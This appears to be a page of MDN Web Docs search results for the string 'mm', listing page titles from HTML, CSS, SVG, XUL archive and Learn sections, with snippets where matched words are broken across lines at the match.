mmon attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, and size idl attributes list, selectionstart, selectionend, selectiondirection, and value methods select(), setrangetext(), setselectionrange() value the <input> element's value attribute contains a domstring that either represents a telephone number or is an empty string ("")...
... using tel inputs telephone numbers are a very co
mmonly collected type of data on the web.
... when creating any kind of registration or e-co
mmerce site, for example, you will likely need to ask the user for a telephone number, whether for business purposes or for emergency contact purposes.
...And 4 more matches
<label> - HTML: Hypertext Markup Language
associating a <label> with an <input> element offers some major advantages: the label text is not only visually associated with its corresponding text input; it is progra
mmatically associated with it too.
...-and-conditions.html">terms and conditions</a> </label> do <label for="tac"> <input id="tac" type="checkbox" name="terms-and-conditions"> i agree to the terms and conditions </label> <p> <a href="terms-and-conditions.html">read our terms and conditions</a> </p> headings placing heading elements within a <label> interferes with many kinds of assistive technology, because headings are co
mmonly used as a navigation aid.
... technical su
mmary content categories flow content, phrasing content, interactive content, form-associated element, palpable content.
...And 4 more matches
<menu> - HTML: Hypertext Markup Language
the html <menu> element represents a group of co
mmands that a user can perform or activate.
... context : indicates the popup menu state, which represents a group of co
mmands activated through another element.
... toolbar: indicates the toolbar state, which represents a toolbar consisting of a series of co
mmands for user interaction.
...And 4 more matches
Global attributes - HTML: Hypertext Markup Language
global attributes are attributes co
mmon to all html elements; they can be used on all elements, though they may have no effect on some elements.
...note that it is reco
mmended for styles to be defined in a separate file or files.
... specifications specification status co
mment html living standardthe definition of 'global attributes' in that specification.
...And 4 more matches
HTTP conditional requests - HTTP
use cases cache update the most co
mmon use case for conditional requests is updating a cache.
... avoiding the lost update problem with optimistic locking a co
mmon operation in web applications is to update a remote document.
... this is very co
mmon in any file system or source control applications, but any application that allows to store remote resources needs such a mechanism.
...And 4 more matches
Content negotiation - HTTP
even if server-driven content negotiation is the most co
mmon way to agree on a specific representation of a resource, it has several drawbacks: the server doesn't have total knowledge of the browser.
...it is co
mma-separated lists of mime types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different mime types.
...browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of default values for co
mmon browsers is available.
...And 4 more matches
MathML documentation index - MathML
found 40 pages: # page tags and su
mmary 1 mathml landing, mathml, reference, web, xml mathematical markup language (mathml) is a dialect of xml for describing mathematical notation and capturing both its structure and content.
... 14 <mfenced> deprecated, mathml, mathml reference, mathml:element, mathml:general layout schemata the deprecated mathml <mfenced> element used to provide the possibility to add custom opening and closing parentheses (such as brackets) and separators (such as co
mmas or semicolons) to an expression.
... 19 <
mmultiscripts> mathml, mathml reference, mathml:element, mathml:script and limit schemata the mathml <
mmultiscripts> element allows you to create tensor-like objects.
...And 4 more matches
Performance fundamentals - Web Performance
a television probably looks choppy and unrealistic to a hu
mmingbird, for example.
...the html/css layout and graphics code in gecko reduces invalidation and repainting for co
mmon cases like scrolling; developers get this support "for free".
...in turn, gecko's graphics pipeline is highly optimized to render co
mmon animations efficiently.
...And 4 more matches
dx - SVG: Scalable Vector Graphics
value list of <length> default value none animatable yes specifications specification status co
mment filter effects module level 1the definition of 'dx' in that specification.
... candidate reco
mmendation definition for <text> and <tspan> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dx' in that specification.
... reco
mmendation initial definition for <feoffset> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dx' in that specification.
...And 4 more matches
dy - SVG: Scalable Vector Graphics
value list of <length> default value none animatable yes specifications specification status co
mment filter effects module level 1the definition of 'dy' in that specification.
... candidate reco
mmendation definition for <text> and <tspan> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dy' in that specification.
... reco
mmendation initial definition for <feoffset> scalable vector graphics (svg) 1.1 (second edition)the definition of 'dy' in that specification.
...And 4 more matches
SVG documentation index - SVG: Scalable Vector Graphics
found 383 pages: # page tags and su
mmary 1 svg: scalable vector graphics 2d graphics, graphics, icons, images, reference, responsive design, svg, scalable graphics, scalable images, vector graphics, web, l10n:priority scalable vector graphics (svg) are an xml-based markup language for describing two-dimensional based vector graphics.xml 2 applying svg effects to html content css, guide, html, svg modern browsers support using svg within css styles to apply graphical effects to html content.
... 8 other resources reference, svg here is a list of additional resources on svg: 9 project svg no su
mmary!
... 15 svg core attributes attribute, intermediate, reference, svg the svg core attributes are all the co
mmon attributes that can be specified on any svg element.
...And 4 more matches
Namespaces crash course - SVG: Scalable Vector Graphics
uris are co
mmonly used because they are unique, the intention is not to "link" somewhere.
... (in fact uris are used so frequently that the term "namespace uri" is co
mmonly used instead of "namespace name".) redeclaring the default namespace so if all the descendants of the root element are also defined to be in the default namespace, how do you mix in content from another namespace?
...this parameter is co
mmonly used by other xml dialects as a means to link to external resources.
...And 4 more matches
Transport Layer Security - Web security
this article's goal is to help you make these decisions to ensure the confidentiality and integrity co
mmunication between client and server.
...it was updated to ssl 3.0 not long after, and as its usage expanded, it became clear that a co
mmon, standard encryption technology needed to be specified to ensure interoperability among all web browsers and servers.
...http encrypted using tls is co
mmonly referred to as https.
...And 4 more matches
page-worker - Archive of obsolete content
you can co
mmunicate with the script using either the postmessage() api or (preferably, usually) the port api.
... like a content script, these scripts can co
mmunicate with the add-on code using the postmessage() api or the port api.
...this may take one of the following values: "start": load content scripts i
mmediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires thi...
...And 3 more matches
panel - Archive of obsolete content
you can co
mmunicate with the script using either the postmessage() api or (preferably, usually) the port api.
... like a content script, these scripts can co
mmunicate with the add-on code using the postmessage() api or the port api.
...this may take one of the following values: "start": load content scripts i
mmediately after the document element for the panel is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the panel has been loaded, at the time the window.onload event fires t...
...And 3 more matches
ui/sidebar - Archive of obsolete content
co
mmunicating with sidebar scripts you can't directly access your sidebar's content from your main add-on code, but you can send messages between your main add-on code and scripts loaded into your sidebar.
... here's a simple but complete add-on that shows how to set up co
mmunication between main.js and a script in a sidebar, in the case where the sidebar script initiates co
mmunication: the html file includes just a script, "sidebar.js": <!doctype html> <html> <body> content for my sidebar <script type="text/javascript" src="sidebar.js"></script> </body> </html> the "sidebar.js" file sends a ping message to main.js using port.emit() as soon as it load...
... here's a simple but complete add-on that shows how to set up co
mmunication between main.js and a script in a sidebar, in the case where the main.js script initiates co
mmunication: the html file includes just a script, "sidebar.js": <!doctype html> <html> <body> content for my sidebar <script type="text/javascript" src="sidebar.js"></script> </body> </html> the "sidebar.js" file listens to the ping message from main.js, and responds with a pong m...
...And 3 more matches
JavaScript timers - Archive of obsolete content
but there are some javascript native functions (timers) which allow us to delay the execution of arbitrary instructions: settimeout() setinterval() seti
mmediate() requestanimationframe() the settimeout() function is co
mmonly used if you wish to have your function called once after the specified delay.
... the setinterval() function is co
mmonly used to set a delay for functions that are executed again and again, such as animations.
... the seti
mmediate() function can be used instead of the settimeout(fn, 0) method to execute heavy operations in ie.
...And 3 more matches
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
all the tools for building are available built-in, and therefore all you have to do is run some co
mmands in the terminal.
... building it as mentioned above, you'll probably want to build your extension i
mmediately after creating your idl files in order to generate the c++ stubs for your component implementations.
...if not, return i
mmediately to the beginning of this article and don't come back til you have a functioning firefox.exe.
...And 3 more matches
Enhanced Extension Installation - Archive of obsolete content
first it must locate the firefox executable, then run it with the -install-global-extension co
mmand line flag, which installs from a xpi into the firefox application directory.
... finalization for themes, the item is i
mmediately installed fully, rather than awaiting the next restart, since themes do not supply xpcom components, preferences defaults etc.
...[hklm|hkcu]\software\mozilla\firefox\extensions given these goals, and the likelihood of future goals, such as potential for extensions to the xulrunner framework, co
mmon drop zones for xpis etc it makes sense to have the set of install locations be customizable.
...And 3 more matches
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
« previous this document was authored by taro (btm) matsuzawa and was originally published in japanese for the firefox developers conference su
mmer 2007.
...it should be very easy for java progra
mmers to get up to speed on it quickly.
...), 1); }, listing 5: calc.js (implementing subtraction operation) minus: function() { this._letfunc(this._minus); }, _minus: function(a, b) { return a - b; }, listing 6: calc.js (correcting mistake in implementation of subtraction) _letfunc: function(func) { // correct pop order b = this.pop(); a = this.pop(); this.push(func(a, b)); }, understanding source code in the open-source co
mmunity, you can learn a lot about how software works by studying its source code; with a massive project like firefox, people typically use special source-code browsing tools to make sense of it.
...And 3 more matches
Mozilla Documentation Roadmap - Archive of obsolete content
« previousnext » mozilla documentation firefox extension development is still an i
mmature discipline, with a developer base consisting mostly of hobbyists and just a few organized development groups.
...it's incredibly comprehensive, and its underlying wiki technology makes it easy to expand and evolve with the help of the co
mmunity.
...first of all, the in-site search is not reliable, so we reco
mmend using a search engine like google, with queries such as "mdc javascript code modules" or "javascript code modules site:developer.mozilla.org".
...And 3 more matches
Setting up an extension development environment - Archive of obsolete content
in the following example, the described co
mmand starts a new instance of firefox, with a profile called dev; even if an instance of firefox is already running.
... development co
mmand flags as of gecko 2 (firefox 4), javascript files are cached ("fastload").
... the -purgecaches co
mmand-line flag disables this behavior.
...And 3 more matches
Underscores in class and ID Names - Archive of obsolete content
note: browser support for underscores in css has greatly improved since this article was originally published in 2001 and the following reco
mmendation is no longer accurate for most circumstances.
... su
mmary: the use of the underscore character in css can lead to major display problems in multiple browsers.
... it is a fairly co
mmon practice in many progra
mming languages to use the underscore character (_) in the place of a "space" in variable and function names.
...And 3 more matches
XUL user interfaces - Archive of obsolete content
in xul, many co
mmon user interface features are built in.
...value="xul demonstration"/> <vbox> <groupbox class="demo-group"> <caption label="day of week calculator"/> <grid> <columns> <column/> <column/> </columns> <rows> <row> <label class="text-prompt" value="date:" accesskey="d" control="date-text"/> <textbox id="date-text" type="timed" timeout="750" onco
mmand="refresh();"/> </row> <row> <label value="day:"/> <hbox id="day-box"> <label class="day" value="sunday" disabled="true"/> <label class="day" value="monday" disabled="true"/> <label class="day" value="tuesday" disabled="true"/> <label class="day" value="wednesday" disabled="true"/> <label class="da...
...y" value="thursday" disabled="true"/> <label class="day" value="friday" disabled="true"/> <label class="day" value="saturday" disabled="true"/> </hbox> </row> </rows> </grid> <hbox class="buttons"> <button id="clear" label="clear" accesskey="c" onco
mmand="cleardate();"/> <button id="today" label="today" accesskey="t" onco
mmand="settoday();"/> </hbox> </groupbox> <statusbar> <statusbarpanel id="status"/> </statusbar> </vbox> </window> make a new css file, style7.css.
...And 3 more matches
In-Depth - Archive of obsolete content
place this xml file in \classic\skin\classic\co
mmunicator\toolbar\toolbarbindings.xml (you will need to create the sub directory).
...open up \classic\skin\classic\co
mmunicator\co
mmunicator.css and look for the .toolbar-primary section.
... there is a -moz-binding co
mmand there.
...And 3 more matches
Plug-n-Hack Phase1 - Archive of obsolete content
an example manifest (for owasp zap) is: { "toolname":"owasp zap", "protocolversion":"0.2", "features":{ "proxy":{ "pac":"http://localhost:8080/proxy.pac", "cacert":"http://localhost:8080/other/core/other/rootcert/" }, "co
mmands":{ "prefix":"zap", "manifest":"http://localhost:8080/other/mitm/other/service/" } } } the top level manifest includes optional links to a proxy pac and a root ca certificate.
... it also optionally links to another manifest which describes the co
mmands the browser can invoke.
...security tool co
mmands manifest an example co
mmands manifest (for owasp zap) is: https://code.google.com/p/zap-extensions/source/browse/branches/beta/src/org/zaproxy/zap/extension/plugnhack/resource/service.json firefox ui in firefox the tool co
mmands will be made available via the developer toolbar (gcli) https://developer.mozilla.org/docs/tools/gcli a example of how the zap co
mmands are currently displayed is: n...
...And 3 more matches
Elements - Archive of obsolete content
only i
mmediate children are matched against the selector.
... for example, an xml fragment <customelement><foobar><hoge/></foobar></customelement> with an binding definition <binding id="customelement"><content><xul:box><children includes="hoge"/></xul:box></content></binding> for the customelement element, <xul:box/> becomes empty because the selector includes="hoge" doesn't match for the i
mmediate child foobar element.
...its value is a co
mma-separated list of named interfaces.
...And 3 more matches
execute - Archive of obsolete content
su
mmary launches a file inside the install archive.
...the optional blocking argument, when set to true, specifies that the installation should wait for this executable to finish before processing the next queued install co
mmand.
... passing arguments to the executable the args parameter, when present, passes a string to the executable as co
mmand-line parameters.
...And 3 more matches
textbox.type - Archive of obsolete content
the co
mmand event will fire as the user modifies the value.
... a listener for the co
mmand event should update search results.
... if the searchbutton attribute is set to true, the co
mmand event is only fired if the user presses the search button or presses the enter key.
...And 3 more matches
Special per-platform menu considerations - Archive of obsolete content
for many menu co
mmands, convention dictates where these items will be placed.
... for instance, the edit menu always starts with the undo co
mmand if such a feature is available in the application, followed by redo, cut, copy, paste, and so forth.
... some menu items have specific co
mmon labels or locations where certain menu items would go that differ on each platform.
...And 3 more matches
PopupEvents - Archive of obsolete content
this event is most co
mmonly used to add or adjust items on the popup based on the context.
...this technique, as shown in the following example, is needed if you wish to open a submenu progra
mmatically.
...shown", filemenuopened, false); var openmenu = document.getelementbyid("open-menu"); openmenu.open = true; } </script> <menu id="file-menu" label="file"> <menupopup id="file-menupopup"> <menu id="open-menu" label="open"> <menupopup> <menuitem label="file..."/> <menuitem label="page"/> </menupopup> </menu> </menupopup> </menu> <button label="open" onco
mmand="openfilemenu();"/> when the button is pressed, the openfilemenu function is called.
...And 3 more matches
Custom toolbar button - Archive of obsolete content
alette> <!-- thunderbird address book --> <toolbarpalette id="addressbooktoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- sunbird --> <toolbarpalette id="calendartoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- button details --> <toolbarbutton id="custom-button-1" label="custom" tooltiptext="my custom toolbar button" onco
mmand="custombutton[1]()" class="toolbarbutton-1 chromeclass-toolbar-additional custombutton" /> </overlay> optionally customize the file by changing the label and tooltiptext in the last section.
...paste it into the new file: #custom-button-1, #wrapper-custom-button-1 {list-style-image: url("chrome://custombutton/content/button-1.png");} /* co
mmon style for all custom buttons */ .custombutton {-moz-image-region: rect( 0px 24px 24px 0px);} .custombutton:hover {-moz-image-region: rect(24px 24px 48px 0px);} [iconsize="small"] .custombutton {-moz-image-region: rect( 0px 40px 16px 24px);} [iconsize="small"] .custombutton:hover {-moz-image-region: rect(24px 40px 40px 24px);} there is nothing to customize.
...it uses the javascript progra
mming language, together with features provided by the application.
...And 3 more matches
More Menu Features - Archive of obsolete content
we'll just add a few simple co
mmands to a file menu and an edit menu.
...sskey="c"/> </menupopup> </menu> <menu id="edit-menu" label="edit" accesskey="e"> <menupopup id="edit-popup"> <menuitem label="cut" accesskey="t"/> <menuitem label="copy" accesskey="c"/> <menuitem label="paste" accesskey="p" disabled="true"/> </menupopup> </menu> </menubar> <toolbar id="findfiles-toolbar> here we have added two menus with various co
mmands on them.
...the three dots after open search and save search are the usual way that you indicate to the user that a dialog will open when selecting the co
mmand.
...And 3 more matches
checkbox - Archive of obsolete content
this is most co
mmonly rendered as a box when the element is off and a box with a check when the element is on.
... attributes accesskey, checked, co
mmand, crop, disabled, src, label, preference, tabindex properties accesskey, accessibletype, checked, co
mmand, crop, disabled, src, label, tabindex examples <checkbox label="enable javascript" checked="true"/> <checkbox label="enable java" checked="false"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... co
mmand type: id set to the id of a co
mmand element that is being observed by the element.
...And 3 more matches
datepicker - Archive of obsolete content
in xul, the value attribute may be set to a value of the form yyyy-
mm-dd to initialize the datepicker to a certain date.
... to change the selected date, the value property may be used to set a new value in the form yyyy-
mm-dd.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
...And 3 more matches
menulist - Archive of obsolete content
the co
mmand event may be used to execute code when the menulist selection changes.
... attributes accesskey, crop, disableautoselect, disabled, editable, focused, image, label, onco
mmand, open, preference, readonly, sizetopopup, tabindex, value properties accessibletype, crop, description, disableautoselect, disabled, editable, editor, image, inputfield, itemcount, label, menuboxobject, menupopup, open, selectedindex, selecteditem, tabindex, value methods appenditem, contains, getindexofitem, getitematindex, insertitemat, removeallitems, removeitemat, select examples <menulist> <menupopup> <menuitem label="option 1" value="1"/> <menuitem label="option 2" value="2"/> <menuitem label="option 3" value="3"/> <menuitem label="option 4" value="4"/> </menupopup> </menulist> attributes ...
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
...And 3 more matches
menuseparator - Archive of obsolete content
attributes acceltext, accesskey, allowevents, co
mmand, crop, disabled, image, label, selected, tabindex, value properties accessibletype, accesskey, co
mmand, control, crop, disabled, image, label, labelelement, parentcontainer, selected, tabindex, value examples <menu label="menu"> <menupopup> <menuitem label="item1"/> <menuseparator/> <menuitem label="item2"/> <menuitem label="item3"/> </menupopup> </menu> attributes acceltext type: string text that appears beside the menu label to indicate the shortcu...
...t key (accelerator key) to use to invoke the co
mmand.
... co
mmand type: id set to the id of a co
mmand element that is being observed by the element.
...And 3 more matches
timepicker - Archive of obsolete content
to specify the initial, use the value attribute set to a value of either the form hh:
mm:ss or hh:
mm.
...the former specifies the time as a string of the form hh:
mm:ss whereas the latter specifies the time as a date object.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire.
...And 3 more matches
toolbar - Archive of obsolete content
currentset not in seamonkey 1.x type: co
mma-separated string the current set of displayed items on the toolbar.
...the value of this attribute should be a co
mma-separated list of item ids from the toolbarpalette or, additionally, any of the following strings: "separator", "spring", "spacer".
... defaultset not in seamonkey 1.x type: co
mma-separated list of item ids the default set of displayed items on the toolbar.
...And 3 more matches
2006-10-20 - Archive of obsolete content
su
mmary: mozilla.dev.builds - october 14th to october 20th 2006 linux reference platform 1.8.1 october 18th: marcus is wondering about the linux platform that is currently used to compile both public releases of firefox and xulrunner.
... christopher finke is asking the co
mmunity members for tutorials or any tips on how to get started.
... in jan vávra's case he is modifying the thunderbird installer so he needs to modify "mail/installer/windows/packages-static" announcements deco
mmissioning sparky on friday on october 17th j.
...And 3 more matches
Table Reflow Internals - Archive of obsolete content
the container posts a dirty reflow co
mmand with itself as the target.
...the container posts a dirty reflow co
mmand with itself as the target.
... ususally it starts when the pres shell processes its queue of reflow co
mmands.
...And 3 more matches
Scratchpad - Archive of obsolete content
but even with possible limitations present, the html code can be either manually entered or copied from the source and pasted into the "about:blank" page (a new empty tab) with the use page inspector's edit as html context menu co
mmand.
...for example, if you type document.addeventlistener, then press ctrl + shift + space, you'll see a popup that shows a su
mmary of the function's syntax and a short description: the "[docs]" link takes you to the mdn documentation for the symbol.
... for example, if you enter the code: window then choose inspect, the object inspector is shown that looks something like this: display the display option executes the selected code, then inserts the result directly into your scratchpad editor window as a co
mment, so you can use it as a repl.
...And 3 more matches
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
su
mmary: thanks to long-standing limitations, we're used to thinking of hover styles as applying only to hyperlinks, which has led to some sloppy authoring practices that are now causing problems for some web sites.
... a co
mmon variant is to use a bare class and hover pseudo-class together, like this: .nav:hover {color: red;} in situations where the only instances of the class value nav are applied to hyperlinks, this will work fine.
... named anchor problems in addition to the effects described previously, there are two other relatively co
mmon effects that authors may not expect.
...And 3 more matches
Tiles and tilemaps overview - Game development
this set of articles covers the basics of creating tile maps using javascript and canvas (although the same high level techniques could be used in any progra
mming language.) besides the performance gains, tilemaps can also be mapped to a logical grid, which can be used in other ways inside the game logic (for example creating a path-finding graph, or handling collisions) or to create a level editor.
... the tilemap data structure it is co
mmon to group all the information needed to handle tilemaps into the same data structure or object.
...a more generic case would be rectangular-based tilemaps — instead of square — but they are far less co
mmon.
...And 3 more matches
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
i
mmutables are the objects whose state cannot be changed once the object is created.
... strings and numbers are i
mmutable.
... lets understand this with an example: var i
mmutablestring = "hello"; // in the above code, a new object with string value is created.
...And 3 more matches
MDN Web Docs Glossary: Definitions of Web-related terms
e authority certified challenge-response authentication character character encoding character set chrome cia cipher cipher suite ciphertext class client hints closure cms code splitting codec compile compile time computer progra
mming conditional constant constructor continuous media control flow cookie copyleft cors cors-safelisted request header cors-safelisted response header crawler crlf cross axis cross-site scripting crud cryptanalysis cryptographic hash function ...
... distributed denial of service dmz dns doctype document directive document environment dom (document object model) domain domain name domain sharding dominator dos attack dtls (datagram transport layer security) dtmf (dual-tone multi-frequency signaling) dynamic progra
mming language dynamic typing e ecma ecmascript effective connection type element empty element encapsulation encryption endianness engine entity entity header event exception expando f fallback alignment falsy ...
... gonk google chrome gpl gpu graceful degradation grid grid areas grid axis grid cell grid column grid container grid lines grid row grid tracks guard gutters gzip compression h hash head high-level progra
mming language hmac hoisting host hotlink houdini hpkp hsts html html5 http http header http/2 http/3 https hyperlink hypertext i i18n iana icann ice ide idempotent identifier ...
...And 3 more matches
Grids - Learn web development
a grid will typically have columns, rows, and then gaps between each row and column — co
mmonly referred to as gutters.
...add this to the css inside your file: .container { display: grid; } unlike flexbox, the items will not i
mmediately look any different.
...proin blandit quam nec lacus varius co
mmodo et a urna.
...And 3 more matches
CSS FAQ - Learn web development
documents with an incomplete, incorrect, or missing doctype declaration or a known doctype declaration in co
mmon use before 2001 will be rendered in quirks mode.
... this is a list of the most co
mmonly used doctype declarations that will trigger standards or almost standards mode: <!doctype html> /* this is the html5 doctype.
... given that each modern browser uses an html5 parser, this is the reco
mmended doctype */ <!doctype html public "-//w3c//dtd html 4.0 transitional//en" "http://www.w3.org/tr/html4/loose.dtd"> <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html4/strict.dtd"> <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> when at all possible, you should just use the html5 doctype.
...And 3 more matches
Web fonts - Learn web development
there are only a handful of fonts that you can guarantee to be available across all co
mmon systems — the so-called web-safe fonts.
...for each font, follow these steps: make sure you have satisfied any licensing requirement, if you are going to use this in a co
mmercial and/or web project.
...multiple declarations can be listed, separated by co
mmas — the browser will search through them and use the first one it can find that it understands — it is therefore best to put newer, better formats like woff2 earlier on, and older, not so good formats like ttf later on.
...And 3 more matches
Learn to style HTML using CSS - Learn web development
we reco
mmend that you work through our introduction to html module first.
... in that module, you will learn about: css, starting with the introduction to css module more advanced html modules javascript, and how to use it to add dynamic functionality to web pages once you understand the fundamentals of html, we reco
mmend that you learn html and css at the same time, moving back and forth between the two topics.
... it is reco
mmended that you work through getting started with the web before proceeding with this topic.
...And 3 more matches
The HTML5 input types - Learn web development
you can also use the multiple attribute in combination with the email input type to allow several email addresses to be entered in the same input (separated by co
mmas): <input type="email" id="email" name="email" multiple> on some devices — notably, touch devices with dynamic keyboards like smart phones — a different virtual keypad might be presented that is more suitable for entering email addresses, including the @ key.
...it is a helpful aid to guide users to fill out a form accurately, and it can save time — it is useful to know that your data is not correct i
mmediately, rather than having to wait for a round trip to the server.
...to that end, it's highly reco
mmended that you set the min, max, and step attributes which set the minimum, maximum and increment values, respectively.
...And 3 more matches
CSS basics - Learn web development
like html, css is not a progra
mming language.
...separate multiple selectors by co
mmas.
...here are some of the more co
mmon types of selectors: selector name what does it select example element selector (sometimes called a tag or type selector) all html elements of the specified type.
...And 3 more matches
HTML basics - Learn web development
html is not a progra
mming language; it is a markup language that defines the structure of your content.
... note: simple attribute values that don't contain ascii whitespace (or any of the characters " ' ` = < > ) can remain unquoted, but it is reco
mmended that you quote all attribute values, as it makes the code more consistent and understandable.
...html contains 6 heading levels, <h1>–<h6>, although you'll co
mmonly only use 3 to 4 at most: <h1>my main title</h1> <h2>my top level heading</h2> <h3>my subheading</h3> <h4>my sub-subheading</h4> now try adding a suitable title to your html page just above your <img> element.
...And 3 more matches
Advanced text formatting - Learn web development
aside in drama, where a character shares a co
mment only with the audience for humorous or dramatic effect.
...in drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience (but not to other characters.)</dd> <dt>monologue</dt> <dd>in drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.</dd> <dt>aside</dt> <dd>in drama, where a character shares a co
mment only with the audience for humorous or dramatic effect.
... note that it is permitted to have a single term with multiple descriptions, for example: <dl> <dt>aside</dt> <dd>in drama, where a character shares a co
mment only with the audience for humorous or dramatic effect.
...And 3 more matches
HTML table basics - Learn web development
a table allows you to quickly and easily look up values that indicate some kind of connection between different types of data, for example a person and their age, or a day of the week, or the timetable for a local swi
mming pool.
... tables are very co
mmonly used in human society, and have been for a long time, as evidenced by this us census document from 1800: it is therefore no wonder that the creators of html provided a means by which to structure and present tabular data on the web.
...this was co
mmonly used because css support across browsers used to be terrible; table layouts are much less co
mmon nowadays, but you might still see them in some corners of the web.
...And 3 more matches
JavaScript building blocks - Learn web development
in this module, we continue our coverage of all javascript's key fundamental features, turning our attention to co
mmonly-encountered types of code blocks such as conditional statements, loops, functions, and events.
... guides making decisions in your code — conditionals in any progra
mming language, code needs to make decisions and carry out actions accordingly depending on different inputs.
...in progra
mming, loops perform this job very well.
...And 3 more matches
Third-party APIs - Learn web development
they are found on third-party servers browser apis are built into the browser — you can access them from javascript i
mmediately.
...this is a co
mmon pattern you'll encounter with apis.
... add the following line to your javascript, below the "// event listeners to control the functionality" co
mment.
...And 3 more matches
Handling text — strings in JavaScript - Learn web development
previous overview: first steps next next, we'll turn our attention to strings — this is what pieces of text are called in progra
mming.
... in this article, we'll look at all the co
mmon things that you really ought to know about strings when learning javascript, such as creating strings, escaping quotes in strings, and joining strings together.
... the power of words words are very important to humans — they are a large part of how we co
mmunicate.
...And 3 more matches
Inheritance in JavaScript - Learn web development
a co
mmon way is to use a javascript library — most of the popular options have an easy set of functionality available for doing inheritance more easily and quickly.
... object member su
mmary to su
mmarize, you've got four types of property/method to worry about: those defined inside a constructor function that are given to object instances.
...these are co
mmonly only available on built-in browser objects, and are recognized by being chained directly onto a constructor, not an instance.
...And 3 more matches
Working with JSON - Learn web development
it is co
mmonly used for transmitting data in web applications (e.g., sending some data from the server to the client, so it can be displayed on a web page, or vice versa).
...even though it closely resembles javascript object literal syntax, it can be used independently from javascript, and many progra
mming environments feature the ability to read (parse) and generate json.
... "turning tiny", "radiation blast" ] }, { "name": "madame uppercut", "age": 39, "secretidentity": "jane wilson", "powers": [ "million tonne punch", "damage resistance", "superhuman reflexes" ] }, { "name": "eternal flame", "age": 1000000, "secretidentity": "unknown", "powers": [ "i
mmortality", "heat i
mmunity", "inferno", "teleportation", "interdimensional travel" ] } ] } if we loaded this object into a javascript program, parsed in a variable called superheroes for example, we could then access the data inside it using the same dot/bracket notation we looked at in the javascript object basics article.
...And 3 more matches
Object prototypes - Learn web development
in this example, we have defined a constructor function, like so: function person(first, last, age, gender, interests) { // property and method definitions this.name = { 'first': first, 'last' : last }; this.age = age; this.gender = gender; //...see link in su
mmary above for full definition } we have then created an object instance like this: let person1 = new person('bob', 'smith', 32, 'male', ['music', 'skiing']); if you type "person1." into your javascript console, you should see the browser try to auto-complete this with the member names available on this object: in this list, you will see the members defined on person1's constructor — person...
...these all have a number of members defined on their prototype, which is why for example when you create a string, like this: let mystring = 'this is my string.'; mystring i
mmediately has a number of useful methods available on it, like split(), indexof(), replace(), etc.
... for example, try these co
mmands in the console: person1.constructor person2.constructor these should both return the person() constructor, as it contains the original definition of these instances.
...And 3 more matches
Aprender y obtener ayuda - Learn web development
also, it might be a good idea to have some sub-goals worked out to allow you to keep track of where you are more easily, for example: html and css basics learnt by su
mmer javascript basics learnt by december example website project built by next april etc.
... staying motivated it is hard to stay motivated, especially if you are trying to learn a complex skill like progra
mming or web development.
...we'd reco
mmend taking a 15 minutes break every hour to 90 minutes.
...And 3 more matches
Creating our first Vue component - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line.
...because the shorthand syntax is more co
mmonly used, this tutorial will stick to that pattern.
...we now have a working checkbox where we can set the state progra
mmatically.
...And 3 more matches
Cross browser testing - Learn web development
guides introduction to cross browser testing this article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most co
mmon types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" strategies for carrying out testing next, we drill down into carrying out testing, looking at identifying a target audience (e.g.
... handling co
mmon html and css problems with the scene set, we'll now look specifically at the co
mmon cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur.
... handling co
mmon javascript problems now we'll look at co
mmon cross-browser javascript problems and how to fix them.
...And 3 more matches
A bird's-eye view of the Mozilla framework
thehelp viewer files referenced in the article are located in /seamonkey/extensions/help/ this article also assumes you are familiar with the javascript and c++ progra
mming languages, object-oriented progra
mming (oop) terminology and design concepts, the microsoft® component object model (com), and the corba omg interface definition language (idl).
... user interface (ui) widgets and services the x window system toolkit defines the termwidget as a pre-defined object that encapsulates both the co
mmand actions and data associated with a graphical user interface (gui) control.
... the various x toolkit implementations provide a set of widgets for ui controls such as menus, co
mmand buttons, dialog boxes and scroll bars.
...And 3 more matches
Chrome registration
starting with gecko 2.0, the root chrome.manifest is the only manifest used; you can add manifest co
mmands to that file to load secondary manifests.
... manifest instructions co
mments # this line is a co
mment - you can put here whatever you want a line is a co
mment if it begins with the character '#'.
...typically a contract id will be paired with a component entry i
mmediately preceding.
...And 3 more matches
Creating Custom Events That Can Pass Data
if you have an event named nsdo
mmyfirstevent your nsdomclassinfoclasses entry would be domci_class(myfirstevent)).
... nsdomevent* it = new nsdo
mmyevent(aprescontext, aevent); if (nsnull == it) { return ns_error_out_of_memory; } return callqueryinterface(it, adomevent); } in general though i'd strongly reco
mmend using a function the way that everyone else does.
